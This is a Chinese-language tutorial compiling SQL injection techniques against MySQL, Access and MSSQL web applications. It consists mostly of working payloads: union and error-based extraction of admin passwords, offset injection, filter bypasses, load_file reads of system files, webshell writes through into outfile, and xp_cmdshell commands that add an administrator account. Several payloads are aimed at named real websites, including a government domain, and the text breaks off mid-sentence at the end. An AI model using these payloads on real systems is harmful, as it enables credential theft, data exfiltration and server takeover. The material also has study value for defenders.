最近在学习MySQL和sqlserver数据库,由于我的专业是信息安全,所以把web安全涉及到的注入全部总结了一下,里面涉及到内容比较多。希望想学习的提前要对这两种数据库有一定了解,才能更好的学习盲注。
1)database(),version(),user()
union联合查询,因为只有版本大于4.0,才会支持union查询
。并且只有两个表列数相同时,才会返会正确的表。
有一个information_schema数据库,库里面有一个
http://www.a.com/cms/new.php?id=0 union select
1,2,table_name,4,5,6 from
information_schema.tables where
table_schema=0x636D73 limit 0,1
table_schema=[库名],库名要转换成 16 进制
主要利用的还是系统表来进行获取字段。
http://www.a.com/cms/new.php?id=0 union select
1,2,column_name, 4,5,6 from
information_schema.columns where
table_name=0x726F6F74 limit 0, 1
http://www.a.com/cms/new.php?id=0 union select
1,2,root_id,root_name,root_pass,6 from cms.root
例如在 mysql 注入中,当在黑名
单中过滤了空格字符,我们可以使用"/*(mysql 中注释符)"
和"+"来代替空格,绕过黑名
单的限制继续注入,因此我们应该尽量多使用白名单。
2)access数据库,偏移注入的详解
当我们遇到asp的数据库的时候,如果猜username和
password的时候,数据库里面没有,则我们怎么办呢,这个时
候我们就会想到偏移注入。
偏移注入是通内连接对应相同的id,来显示出密码的。
http://www.hnjyw.gov.cn/show.asp?id=762 UNION
SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
猜admin这个表里面有4个字段,如果返回正确则说明我们猜对
了。如果返回错误的话,则字段数说明是不正确的,继续变大
,或者是变小。
等到下一论猜表的时候,则就需要减相同的字段数。
http://www.hnjyw.gov.cn/show.asp?id=764 UNION
SELECT 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner
join admin as b on a.id=b.id)
http://www.hnjyw.gov.cn/show.asp?id=764 UNION
SELECT 1,2,3,4,5,6,7,8,9,10,11,12,a.id,* from (admin as a
inner join admin as b on a.id=b.id)
返回结果还是没有变
再来 在a.id后面再加上b.id
http://www.hnjyw.gov.cn/show.asp?id=764 UNION
SELECT 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin
as a inner join admin as b on a.id=b.id)
看我操作
我们在12后面再减去4,那就是
http://www.hnjyw.gov.cn/show.asp?id=764 UNION
SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a
inner join admin as b on a.id=b.id) inner join admin as c
on a.id=c.id)这样了
很幸运 返回正确了
另外一种来进行偏移注入的方法
我们就这样一个一个往上加 看:
http://www.hoyu456.com/ProView.asp?id=211 and 1=2
union select 1,* from adminuser
出现错误 不行 在加一个
http://www.hoyu456.com/ProView.asp?id=211 and 1=2
union select 1,2,* from adminuser
也是出现错误, 我们继续往上加:
当我们加到:7 的时候 就爆出来了
http://www.hoyu456.com/ProView.asp?id=211 and 1=2
union select 1,2,3,4,5,6,7,* from adminuser
页面就可以了 同时也爆出了密码
好了 既然我们爆出了密码 那我们就来爆用户名吧
因为我们刚的字段数是13 则我们加到 7 的时候就爆出东西了
所以 我们就把总字段数的13 减7 等于6 * 表示adminuser里
有6个字段
然后我们用 6 乘于2等于12 再用总字段数的13 减去12 等于1
好了既然已经得出等于1了 我们就来爆帐号吧:
我们要在from的后面加一条这样的语句:(adminuser as a
inner join adminuser as b on a.id=b.id)
看:
http://www.hoyu456.com/ProView.asp?id=211 and 1=2
union select 1,* from (adminuser as a inner join
adminuser as b on a.id=b.id)
看到没 这里我们只写了1个字段 这一个字段就是咱们刚才13
减去12等于1 的
我们要在1的后面有个* 号然后在from后面加上那条语句就这样
就爆出了帐号密码了
2.另外一种奇葩的注入类型,是通过base64来进行转换来进行
注入。
order by select等语句都要变换成base64,才可以爆出最后
的结果。
MSSQL手工注入方法
and 1=convert(int,(select top 1 name from sysobjects
where xtype='U')) 如果select过滤的话可以转换一下编码
如果成功则会出现第一个表,假设第一表为OA_LOCKIP
如果不是管理员,则继续注入
and 1=convert(int,(select top 1 name from sysobjects
where xtype='U' and name not in('OA_LOCKIP)))
如果还不是,就一直猜下去,直到为止,每一次的时候只要把
not in ()括号里面的值换一下就可以了。
一般思路有两个,一个是直接到后台去看源码,一般从那里可
以知道字段,还有一个是猜。非常懒的就选择第二个方法了。
假设我们字段就是username和password,还有一个主键id
爆内容:and 1=convert(int,(select top 1 password from
A_Admin)) and 1=convert(int,(select top 1 username
from A_Admin))
3种报错注入
mysql 3种报错模式注入
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor
(rand(0)*2))x from information_schema.tables group by
x)a);
and (select count(*) from (select 1 union select null
union select !1)x group by concat((select table_name
from information_schema.tables limit 1),floor(rand(0)
*2)));
其实有一些exp也是这样写的,如果你能看懂这两行MySQL代码,证明你的注入水平提高了。其实有时间你看看sqlmap,里面有的源代码是在 xml/payload这个目录里面,将会提高你的注入水平。
举例如下:
首先进行正常查询:
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1
from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-
log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,
可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1
from (select count(*),concat((select pass from admin
where id =1),floor(rand(0)*2))x from
information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key
'group_key'
Method2:
mysql> select * from article where id = 1 and (select
count(*) from (select 1 union select null union select !1)x
group by concat((select pass from admin limit 1),floor
(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key
'group_key'
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from
information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and
extractvalue(1, concat(0x5c,(select pass from admin limit
1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x5e24,(select user
()),0x5e24),1))
实际测试过程
mysql> select * from article where id = 1 and 1=
(updatexml(1,concat(0x5e24,(select pass from admin
limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^
$admin888^$'
手工注入php+MySQL参数,技巧和描述
注入这个词自从数据库与动态脚本诞生至今日,一直是黑客们
乐不此彼的谈论话题,现在Injection的思想已经不仅仅限于
SQL当中,File Include,Command Execution等等,已经延
伸到了WEB入侵的各种手段中。
我想要说的并不是如何去注入一个网站,而是注入的原理。
作者:Juliet @ Silic Group
本篇文章我要讲的内容,和《[黑客攻防 零基礎學習]什么是注
入 Whats SQL Injection?》一样,属于最基础的课程,看了前
面那篇,再看这篇,循序渐进
先讲关于mysql数据库的user表段
MySQL无论4.x还是5.x,都有一个独立的数据库,名字就叫“
mysql”,当中有很多数据表,保存MySQL的各种设置参数。
其中user表段设置了MySQL中数据库用户的部分信息。
user表段中,user字段为用户登陆名,可以有相同的名字重复
password字段为登陆密码哈希,是40位的密文,类似于md5
host字段设置的是这个用户可以在哪些机器上登陆,如果为
localhost表示只能是本机登陆,host可以是数据库ip也可以是
数据库服务器的名称,例如“mysqldbserver”之类。若host
为“localhost”不一定表示没有希望,如果服务器某个网站装
有phpmyadmin这个软件的话,仍然是可以利用的
file_priv字段规定了这个用户是不是可以读取硬盘里面的文件,
设置为Y则表示允许,设置为N则表示禁止。
然后讲MySQL注入中常用的一些参数。
参数:
注入语句的格式为:
union+select+1,2,3,XO,4,...n+from+XXOO
复制代码
参数的使用位置为上述语句中的XO位置,有的参数可搭配使用
,例如concat(user,0x3a,version)
user()
数据库的用户,格式为 user @ server 例如 root@ localhost
通常最高管理账户为root,服务器以localhost也就是本地居多
,也可以是服务器名例如mysqldbsever,也可以是ip例如
192.168.100.111
所有的user,都会在mysql数据库的user表段中记录,用于设
置权限等
database()
当前数据库名,网站建设者任意给予的数据库的名称
version()
当前使用的数据库的版本,通常为4.x或者5.x,更低版本没遇到
过,存在更高级的6.x的版本,版本最后通常会表明系统的版本
,例如5.x.x-nt表示nt(windows)系统下使用的mysql版本
@@datadir
数据路径。数据库储存数据总要有个路径放数据,就是这里了
。windows常用,通常用于load_file时猜测网站路径等。例如
c:\program files\mysql5\data\
concat()
联合数据。和联合函数union不同,union用于联合两条SQL语
句,这个用于联合两条数据结果。通常是联合两个字段名,在
错误回显注入法中,这个函数会联合更复杂的,以后会讲。
数据库中管理员通常有登录名和密码等多个字段,用concat轻
松一次注入出来。例如concat(username,0x3a,password),
不同字段用逗号,隔开,中间加一个hex编码值。
冒号进行hex编码(不知道这个编码的自己Google)得到0x3a
,放在concat里面注入以后就显示冒号(自己试验),常用的
有0x3a,0x5c,0x5f,0x3c62723e等
group_concat()
用法与上面类似,通常格式如下:group_concat(DISTINCT
+user,0x3a,password),group_concat顾名思义,如果管理
员账号不止一个的话,concat一次只能注入出来一个,进行依
次注入显然太慢,于是使用group_concat把多条数据一次注入
出来。DISTINCT我就不赘言了,你自己试验一下或者Google
一下就行,很简单。
concat_ws()
用法类似
hex()和unhex()
有一些注入点由于数据库中对数据字段的类型定义,可能不支
持union来显示某些不同类型的内容,所以使用hex对数据进行
hex编码,例如union+select+hex(password)+from
+mysql.user
注入出来的数据全都是0x1234567890abcdef类似的数据,使
用winhex等工具转换回编码即可
hex参数可用于任何参数外面,hex(concat(xxoo)),hex(user
()),hex(database())
load_file()
这是MySQL以文本方式读取文件的参数,例如:linux系统的网
站load_file('/etc /passwd')或者windows系统的网站
load_file('c:\\boot.ini')
这个参数可以用的前提是,你user()得到的用户名(参见关于
mysql.user表介绍),在mysql.user表中的字段file_priv设置为
Y,则load_file()参数则可用
需要注意的是,如果为windows系统,保险起见将路径设置为
双斜杠\\ 因为在计算机语言中双斜杠才是单斜杠的意思,如果
为单斜杠,例如d:\table,那么这个路径中得\t就会被解析为键
盘上的tab键,\n\r类似,最终得不到想要的结果
很多时候,php的网站的gpf会设置为on(就是对特殊字符做
修改,例如单引号'自动修改为\'),那么load_file('c:\
\boot.ini')就变成:load_file(\'c:\\\\boot.ini\')出现语法错误
,得不到结果
解决方法就是,和concat参数一样,hex混用,将c:\\boot.ini
进行hex编码,得到:0x633a5c5c626f6f742e696e69,原语
句修改为:union+select+1,load_file
(0x633a5c5c626f6f742e696e69)即可
使用load_file参数后面可以不加from
select XXOO into outfile '路径';
这种用法基本没太有用,但是仍然有遇到过。用法就是
+union+select+webshell的hex编码+into+outfile+'网站物
理路径\\a.php';
前提是gpf设置为off,有注入点,权限很大,file_priv设置为Y
,已知网站路径。虽然条件苛刻,不过仍然就是有很多2B管理
员创造了这样的条件
关于几点需要注意:
注入时,猜字段爆数据,有时候会遇到一些网站编写者在原始
语句后面加一些语句例如order by啊desc啊等等,例如
SELECT 1,2,3,4 FROM news where id=1 ORDER BY date
DESC
复制代码
注入语句以后:
select 1,2,3,4 from news where id=1 union select 1,2,3,4
from admin order by date DESC
复制代码
admin表中没有date字段,如何DESC?这就容易出现,不管你
怎么注都会提示错误。
所以,通常注入的时候,在语句最后加一个--横杠或者/*注释符
,结束后面的语句
就是这样:
news.php?id=1+union+select+1,2,3,4+from+admin--
news.php?id=1+union+select+1,2,3,4+from+admin/*
复制代码
注入时,union联合了前面和后面两个语句,系统到底执行哪
个呢?这个你不要担心,只要前面那个出现了逻辑错误,
union一定执行后面一个注入的SQL语句
之前说过逻辑错误,也就是and+1=2,计算机中1不可能等于2
,那么就逻辑错误了。
但是,因为浏览器地址栏有限,有时候写不开那么多1234数字
等等(最多我见过300多个字段的),那么想要废除1=2?简单
你之前应该发现了,我通常将地址栏上面的id=写成等于负一,
news.php?id=-1
id通常都是正整型的,哪有负数,0都没有,所以写-1或者0,
和and 1=2是一样的效果,都是逻辑错误,前面等于负数发生
逻辑错误了,union自然100%的无悬念的执行union后面你插
入的SQL语句了
普第二章-PHP+MySQL injection攻击:浅谈网页安全
php以其跨平台的优越性著称。很多网站采用php编写。因为
没有像asp那么多的入侵工具,很多人对php的后台并不重视。
很多人编写网站时,对于页面变量的过滤仅仅限于asp上面的过
滤,但他们大多都不安全。
这次我们以中国公路学会为例子,给大家演示(不要动歪脑筋
,我已经通知了漏洞!)
到谷歌搜“inurl:.php?articalid=”得到第一个条目:中国公路
学会http://www.chts.cn/info.php?articleid=545
我们就拿它来测试安全性。
首先我们看一段php语句(php的一般语句,并不是实际例子
中的语句):
SELECT * /* Select all(选择全部) */
FROM products /* products */
WHERE category='bikes' AND '1'='2' /* false condition */
UNION SELECT * /* append all new_products*/
FROM new_products /* to the previous result set */
什么意思呢??我想给大家看的是“/*XXXX*/”,没错,会编
程的,都知道这是代码注释!换句话说,在代码编译的过程中
,这部分会被忽略。充其量他就是个回车或者空格
怎么测试安全性呢?
在原来的地址上http://www.chts.cn/info.php?articleid=545
后面加上注释:
http://www.chts.cn/info.php?articleid=545/*ABCD234*/
再次访问,发现和原来的页面一样没变化。正常显示就表示这
次是成功的注射。怎么说呢?
看这里:http://bbs.shudoo.com/viewthread.php?
tid=1790611&extra=page%3D1
这个是GET方式提交吧?好吧好吧,注射就是注入,我们用GET
的方式把恶意的语句插入到了原来的代码里就叫注入
我们加了/*ABCD234*/,原来的php代码就成了(没看get和
post的就不会理解的)
'select * from chts_article where
articleid=545/*ABCD234*/ 然后原本后面的语句仍然继续执
行
这是注释插入,我们看到了插入了注释,充其量就是个空格或
者回车。
我们继续访问http://www.chts.cn/info.php?articleid=545标
题是《关于举办2005年全国公路治超与计重收费技术研讨会的
通知》
变一下变量访问http://www.chts.cn/info.php?articleid=54
标题是《关于举办2005年全国公路治超与计重收费技术研讨会
的通知》
我们看到了两个不同标题的文档。编号545和编号54的文档。
我们下面用and和or来测试:
继续使用GET
http://www.chts.cn/info.php?articleid=545/*ABC*/or
articalid=54
原本articleid=545的页面就成了54号文档《关于举办2005年
全国公路治超与计重收费技术研讨会的通知》了
这是怎么回事呢,就是一个逻辑门,学过编程的都应该知道这
个。
再看原来的php语句就成了'SELECT * FROM chts_article
WHERE articleid = 545/*ABCD234*/or articleid = 54
不懂编程的话,and和or你也就不用知道了
既然已经确定过滤不严漏洞存在了,就要猜表段数
其实这个比较机械,而且非常机械,网上的工具很多
这里我猜的表段是第17
http://www.chts.cn/info.php?
articleid=545/**/and/**/1=2/**/union/**/select/**/1,2,3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17/*
这个当做是排座位好了,不需要理解太深(其实我也不怎么理
解,我怕我说了不对被人笑哈)
好了,下面开始猜表段名我们假设是admin
那么语句就该是:
http://www.chts.cn/info.php?
articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli
et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*
Juliet_NaNa*/admin/*
显然显示错误
SQL 无效: select * from chts_article where
articleid=545/*dfgdfgfd*/and/*Juliet_NaNa*/1=2/*Juliet_
NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,3,4,
5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*Juli
et_NaNa*/admin/* and visible=1
没关系,我们看到它爆出什么来了?是php源
select * from chts_article where articleid=545
文章的表段是chts_article 字段是articleid,编号是545
那么我们拿它来试验
http://www.chts.cn/info.php?
articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli
et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*
Juliet_NaNa*/chts_article/*
显示正常,那么我们继续来看字段:
http://www.chts.cn/info.php?
articleid=545/*Juliet_NaNa*/and/*Juliet_NaNa*/1=2/*Juli
et_NaNa*/union/*Juliet_NaNa*/select/*Juliet_NaNa*/1,2,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*Juliet_NaNa*/from/*
Juliet_NaNa*/chts_article/**/where/**/articleid=545/*
还是正常,悲剧!:32;
居然都是一样的页面,哪里不对呢?哈哈,and 1=2改成and
1=1再试试
跟http://www.chts.cn/info.php?articleid=545一样的页面,
为什么呢?
因为我们是拿数据库储存文章的表段和字段试验的,如果拿管
理员的字段和表段,那么原来显示文章的地方就可能会显示管
理员的名称和密码的MD5值
管理员表段字段是什么呢?
我不知道。你以为黑客都那么厉害?都很辛苦的!字段表段要
靠猜的,出不出的来要看人品
除非数据库是MSSQL或者MySql的版本是5.x的,这样可以想
别的办法爆出所有表段和字段,本文讲的并不深,所以那些以
后再讲吧
再看一个power by skycn的例子:
http://soft.ny.shangdu.com/down.php?
id=47488/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6
,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2
7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46
,47,48,49/**/from/**/downfile
mssql注入介绍
为了全面了解动态网页回答的信息,首选请调整 IE 的配置。把
IE
菜单-工具-Internet 选项-高级-显示友好 HTTP 错误信息前
面的勾去
掉。
一般注入有两种形式,一种是数字型,还有一种字符型 ‘1’='1' or '1'='2'
如果过滤了字符,则还有几种检测的方法
①大小定混合法:由于 VBS 并不区分大小写,而程序员在过滤
时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写
混合往往会被忽视。如用 SelecT 代替 select,SELECT 等;
②UNICODE 法:在 IIS 中,以 UNICODE 字符集实现国际化,我们完全可以 IE 中输入的字符串化成 UNICODE 字符串进行输入。如
+
=%2B,空格=%20 等
③ASCII 码法:可以把输入的部分或全部字符全部用 ASCII 码
代替,
如 U=chr(85),a=chr(97) 等
1、 利用数据库服务器的系统变量进行区分
SQL- SERVER 有 user,db_name() 等系统变量,利用这些系
统值不仅
可以判断 SQL-SERVER,而且还可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅
可以判断是否是 SQL-SERVER,而还可以得到当前连接
到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0 不
仅可以判断是否是 SQL-SERVER,而还可以得到当前正在使用
的数据库名;
access的系统表是msysobjects,且在web环境下是没有访问权
限的,而sqlserver是sysobjects,在web环境下是有访问权限
的。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select
count(*) from sysobjects)>0
如果是sqlsver的数据库,则运行是正常的。
sysdatabases 系统表: Microsoft SQL Server 上的每个数据
库在
表中占一行。最初安装 SQL Server 时, sysdatabases 包含
master、
model、 msdb、 mssqlweb 和 tempdb 数据库的项。该表
只存储在
master 数据库中。 这个表保存在 master 数据库中,这个表
中保存
的是什么信息呢?这个非常重要。他是 保存了所有的库名,以及
库的 ID 和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。
name //表示库的名字。
dbid //表示库的 ID, dbid 从 1 到 5 是系统的。分别是:
master、
model、 msdb、 mssqlweb、 tempdb 这五个库。 用
select * from master.dbo.sysdatabases 就可以查询出所有的库名。
name dbid 1-5一共有五个系统库。
and (select count(*) from sysobjects)>0 判断是否sqlser
Sysobjects: SQL-SERVER 的每个数据库内 都有此系统表,
它存放该数据库内 创建的所有对象,如约束、默认值、日志、
规则、存储过程等,每个对象在表中占一行。 以下是此系统表
的字段名称和相关说明。
Name, id, xtype, uid, status:分别是对象名 , 对象
ID,
对象类型, 所有者对象的用户 ID,对象状态。
对象类型(xtype)
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
U = 用户表
S = 系统表
X = 扩展存储过程
当 xtype=' U' and status>0 代表是用户建立的表, 对象
名就是表名,对象 ID 就是表的 ID 值。
用: select * from ChouYFD.dbo.sysobjects where
xtype='U'
and status>0 就可以列出库 ChouYFD 中所有的用户建立的
表名
select * from kafeng.dbo.sysobjects where xtype='U' and
status>0
syscolumns : 每个表和视图中的每列在表中占一行,存
储过程中的每个参数在表中也占一行。该表位于每个数据库
中。 主要字段有:
name , id, colid :分别是字段名称, 表 ID 号, 字段
ID 号, 其中的 ID 是 刚上我们用 sysobjects 得到的表的 ID
号。
用: select * from ChouYFD.dbo.syscolumns where
id=123456789 得到 ChouYFD 这个库中,表的 ID 是
123456789 中的所有字段列表。
2)上面也算是盲注的一种形式吧,第二种我们来确定一下是否
开启xp_cmdshell,如果开户这个的话,我们直接就可以提权了
1、 HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0
abc.asp 执行异
常但可以得到当前连接数据库的用户名(若显示 dbo 则代表 SA)
。
2、 HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0
abc.asp 执
行异常但可以得到当前连接的数据库名。
3、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec
master..xp_cmdshell
“ net user aaa bbb /add” -- (master 是 SQL-SERVER 的
主数据库;名中
的分号表示 SQL-SERVER 执行完分号前的语句名,继续执行其
后面的语句;
“ —”号是注解,表示其后面的所有内容仅为注释,系统并不
执行) 可以直
接增加操作系统帐户 aaa, 密码为 bbb。
4、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec
master..xp_cmdshell
“ net localgroup administrators aaa /add” -- 把刚刚增加
的帐户 aaa
加到 administrators 组中。
5、 HTTP://xxx.xxx.xxx/abc.asp?p=YY; backuup
database 数据库名
to disk=' c: \inetpub\wwwroot\save.db' 则把得到的数据内
容全部备份
到 WEB 目录下,再用 HTTP 把此文件下载(当然首选要知道
WEB 虚拟目录) 。
6、通过复制 CMD 创建 UNICODE 漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec
master.dbo.xp_cmdshell
“copy c:\winnt\system32\cmd.exe c:\inetpub\scripts
\cmd.exe” 便制造了一
个 UNICODE 漏洞,通过此漏洞的利用方法,便完成了对整个
计算机的控
制(当然首选要知道 WEB 虚拟目录) 。
先创建一个临时表: temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY; create table temp(id
nvarchar(255),num1 nvarchar(255),num2 nvarchar
(255),num3
nvarchar(255));--
接下来:
( 1)我们可以利用 xp_availablemedia 来获得当前所有驱动
器,
并存入 temp 表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp exec
master.dbo.xp_availablemedia;--
我们可以通过查询 temp 的内容来获得驱动器列表及相关信息
( 2)我们可以利用 xp_subdirs 获得子目录列表,并存入 temp
表
中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)
exec
master.dbo.xp_subdirs 'c:\';--
( 3)我们还可以利用 xp_dirtree 获得所有子目录的目录树结
构,
并寸入 temp 表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp
(id,num1)
exec master.dbo.xp_dirtree 'c:\';--
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行 xp_cmdsell
:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)
exec
master.dbo.xp_cmdshell 'type c:\web\index.asp';--
使用'bulk insert' 语法可以将一个文本文件插入到一个临时
表中。如: bulk insert temp(id) from
'c: \inetpub\wwwroot\index.asp'
浏览 temp 就可以看到 index.asp 文件的内容了!通过分析各
种 ASP
文件,可以得到大量系统信息, WEB 建设与管理信息,甚至
可以得到 SA
帐号的连接密码。
当然,如果 xp_cmshell 能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)
exec
master.dbo.xp_cmdshell 'dir c:\';--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)
exec
master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
通过 xp_cmdshell 我们可以看到所有想看到的,包括 W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)
exec
master.dbo.xp_cmdshell 'cscript C:\Inetpub
\AdminScripts\adsutil.vbs enum
w3svc'
但是,如果不是 SA 权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp
(id,num1) exec
master.dbo.xp_dirtree 'c:\';--
注意:
1、以上每完成一项浏览后,应删除 TEMP 中的所有内容,删
除方法
是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、浏览 TEMP 表的方法是: (假设 TestDB 是当前连接的数据
库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id
from
TestDB.dbo.temp )>0 得到表 TEMP 中第一条记录 id 字段的
值,并与
整数进行比较,显然 abc.asp 工作异常,但在异常中却可以发
现 id 字
段的值。 假设发现的表名是 xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id
from
TestDB.dbo.temp )>0 where id not in('xyz'))>0 得到表
TEMP 中第二条
记录 id 字段的值。
猜解所有数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*)
from
master.dbo.sysdatabases where name>1 and dbid=6)
<>0 因为 dbid 的
值从 1 到 5,是系统用了。所以用户自己建的一定是从 6 开始
的。并且
我们提交了 name>1 (name 字段是一个字符型的字段和数字
比较会出
错),abc.asp 工作异常,可得到第一个数据库名,同理把 DBID
分别改成
7,8, 9,10,11,12…就可得到所有数据库名。
and (select count(*) from master.dbo.sysobjects where
name>1 and dbid=6) 这样就可以依次来进行猜解数据库了。
猜解数据库中用户名表的名称
猜解法:此方法就是根据个人的经验猜表名,一般来说,
user,users,member,members,userlist,memberlist,userinfo
,manager, admin,adminuser,systemuser,systemusers,sysuser,sysusers,sys
accounts,systemaccounts 等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from
TestDB.dbo. 表名 )>0 若表名存在,则 abc.asp 工作正常,否
则异常。
如此循环,直到猜到系统帐号表的名称。
读取法: SQL-SERVER 有一个存放系统核心信息的表
sysobjects,
有关一个库的所有表,视图等信息全部存放在此表中,而且此
表可以通
过 WEB 进行访问。
当 xtype=' U' and status>0 代表是用户建立的表,发现并分
析每
一个用户建立的表及名称,便可以得到用户名表的名称,基本
的实现方
法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name
from TestDB.dbo.sysobjects where xtype=' U' and status>0 )>0 得
到第一个用户建立表的名称,并与整数进行比较,显然
abc.asp 工作异
常,但在异常中却可以发现表的名称。假设发现的表名是 xyz
,则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name
from TestDB.dbo.sysobjects where xtype=' U' and status>0 and name
not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就
可得到
所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,
以下
假设此表名为 Admin。
猜解用户名字段及密码字段名称
admin 表中一定有一个用户名字段,也一定有一个密码字段,
只有
得到此两个字段的名称,才有可能得到此两字段的内容。如何
得到它们
的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用
户名
字段的名称常用: username,name,user,account 等。而密
码字段的名
称常用: password,pass,pwd,passwd 等。并通过语句进行
判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名 )
from TestDB.dbo.admin)>0 “ select count(字段名 ) from 表名”语
句得到表的行数,所以若字段名存在,则 abc.asp 工作正常,
否则异常。
如此循环,直到猜到两个字段的名称。
读取法: 基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
col_name(object_id('admin'),1) from
TestDB.dbo.sysobjects)>0 。 select top 1
col_name(object_id(' admin'),1) from
TestDB.dbo.sysobjects 是从
sysobjects 得到已知表名的第一个字段名,当与整数进行比较
,显然
abc.asp 工作异常,但在异常中却可以发现字段的名称。把
col_name(object_id(' admin'),1) 中的 1 依次换成 2,3,4,5,
6就可
得到所有的字段名称。
猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII 码逐字解码法: 虽然这种方法速度较慢,但肯定是可行的。
基本的思路是先猜出字段的长度,然后依次猜出每一位的值。
猜用户名与猜
密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
len(username) from TestDB.dbo. admin)=X(X=1,2, 3,4,
5, n,
username 为用户名字段的名称, admin 为表的名称) ,若 x
为某一值 i
且 abc.asp 运行正常时,则 i 就是第一个用户名的长度。如:
当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
len(username) from TestDB.dbo. admin)=8 时 abc.asp 运
行正常,则
第一个用户名的长度为 8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
ascii(substring(username,m,1)) from TestDB.dbo.
admin)=n (m 的值在 1 到上一步得到的用户名长度之间,当 m=1, 2,3, 时
猜测分别
猜测第 1,2,3, 位的值; n 的值是 1~9、 a~z、 A~Z 的
ASCII 值,也就是
1~128 之间的任意值; admin 为系统用户帐号表的名称) ,若
n 为某一值
i 且 abc.asp 运行正常时,则 i 对应 ASCII 码就是用户名某一
位值。如:
当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
ascii(substring(username,3,1)) from TestDB.dbo. admin)
=80 时
abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII 为 80)
;HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
ascii(substring(username,3,1)) from TestDB.dbo. admin)
=80 时HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1
ascii(substring(username,3,1)) from TestDB.dbo. admin)
=80 时
abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII 为 80)
;
猜到第一个用户名及密码后,同理,可以猜出其他所有用户名
与密
码。注意:有时得到的密码可能是经 MD5 等方式加密后的信
息,还需要
用专用工具进行脱密。或者先改其密码,使用完后再改回来,
见下面说
明。
简单法:猜用户名用
